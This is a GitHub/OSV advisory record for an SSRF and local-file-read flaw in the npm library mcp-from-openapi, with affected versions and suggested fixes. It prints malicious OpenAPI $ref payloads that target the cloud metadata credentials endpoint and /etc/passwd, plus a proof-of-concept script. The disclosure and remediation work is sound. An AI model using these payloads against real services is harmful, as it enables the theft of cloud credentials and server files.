CVE-2026-39885: Mcp from openapi Mcp-from-openapi Is Vulnerable To SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v6ph-xcq9-qxxj",
  "modified" : "2026-04-09T14:29:54Z",
  "published" : "2026-04-08T19:22:53Z",
  "aliases" : [ "CVE-2026-39885" ],
  "summary" : "mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications",
  "details" : "## Summary\n\nThe `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.\n\n\n## Affected Versions\n\n`<= 2.1.2` (latest)\n\n## CWE\n\nCWE-918: Server-Side Request Forgery (SSRF)\n\n## Vulnerability Details\n\n**File:** `index.js` lines 870-875\n\nWhen `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:\n\n```javascript\nthis.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(\n  JSON.parse(JSON.stringify(this.document))\n);\n```\n\nNo options are passed to `.dereference()` — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:\n\n- `http://` and `https://` URLs (internal services, cloud metadata)\n- `file://` URLs (local filesystem)\n\nThis is the default behavior of `json-schema-ref-parser` — it resolves all `$ref` pointers by fetching the referenced resource.\n\n## Exploitation\n\n### Attack 1: SSRF to internal services / cloud metadata\n\nA malicious OpenAPI spec containing:\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"Evil API\", \"version\": \"1.0\" },\n  \"paths\": {\n    \"/test\": {\n      \"get\": {\n        \"operationId\": \"getTest\",\n        \"summary\": \"test\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhen processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.\n\n### Attack 2: Local file read\n\n```json\n{\n  \"$ref\": \"file:///etc/passwd\"\n}\n```\n\nThe ref parser reads local files and includes their contents in the dereferenced output.\n\n## Proof of Concept\n\n```javascript\nconst http = require('http');\nconst { OpenAPIToolGenerator } = require('mcp-from-openapi');\n\n// Start attacker server to prove SSRF\nconst srv = http.createServer((req, res) => {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'application/json'});\n    res.end('{\"type\":\"string\"}');\n});\n\nsrv.listen(9997, async () => {\n    const spec = {\n        openapi: '3.0.0',\n        info: { title: 'Evil', version: '1.0' },\n        paths: {\n            '/test': {\n                get: {\n                    operationId: 'getTest',\n                    summary: 'test',\n                    responses: {\n                        '200': {\n                            description: 'OK',\n                            content: {\n                                'application/json': {\n                                    schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    const gen = new OpenAPIToolGenerator(spec, { validate: false });\n    await gen.initialize();\n    // Output: \"SSRF HIT: GET /ssrf-proof\"\n    // The library fetched our attacker URL during $ref dereferencing.\n\n    srv.close();\n});\n```\n\n**Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`.\n\n## Impact\n\n- **Cloud credential theft** — `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata\n- **Internal network scanning** — `$ref` values can probe internal services and ports\n- **Local file read** — `file://` protocol reads arbitrary files from the server filesystem\n- **No privileges required** — attacker only needs to provide a crafted OpenAPI spec to any application using this library\n\n## Suggested Fix\n\nPass resolver options to `dereference()` that restrict which protocols and hosts are allowed:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n  JSON.parse(JSON.stringify(this.document)),\n  {\n    resolve: {\n      file: false,        // Disable file:// protocol\n      http: {\n        // Only allow same-origin or explicitly allowed hosts\n        headers: this.options.headers,\n        timeout: this.options.timeout,\n      }\n    }\n  }\n);\n```\n\nOr disable all external resolution and require all schemas to be inline:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n  JSON.parse(JSON.stringify(this.document)),\n  {\n    resolve: { file: false, http: false, https: false }\n  }\n);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mcp-from-openapi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@frontmcp/sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.3"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@frontmcp/adapters"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39885"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/agentfront/frontmcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/frontmcp/releases/tag/v1.0.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:22:53Z",
    "nvd_published_at" : "2026-04-08T21:17:00Z"
  }
}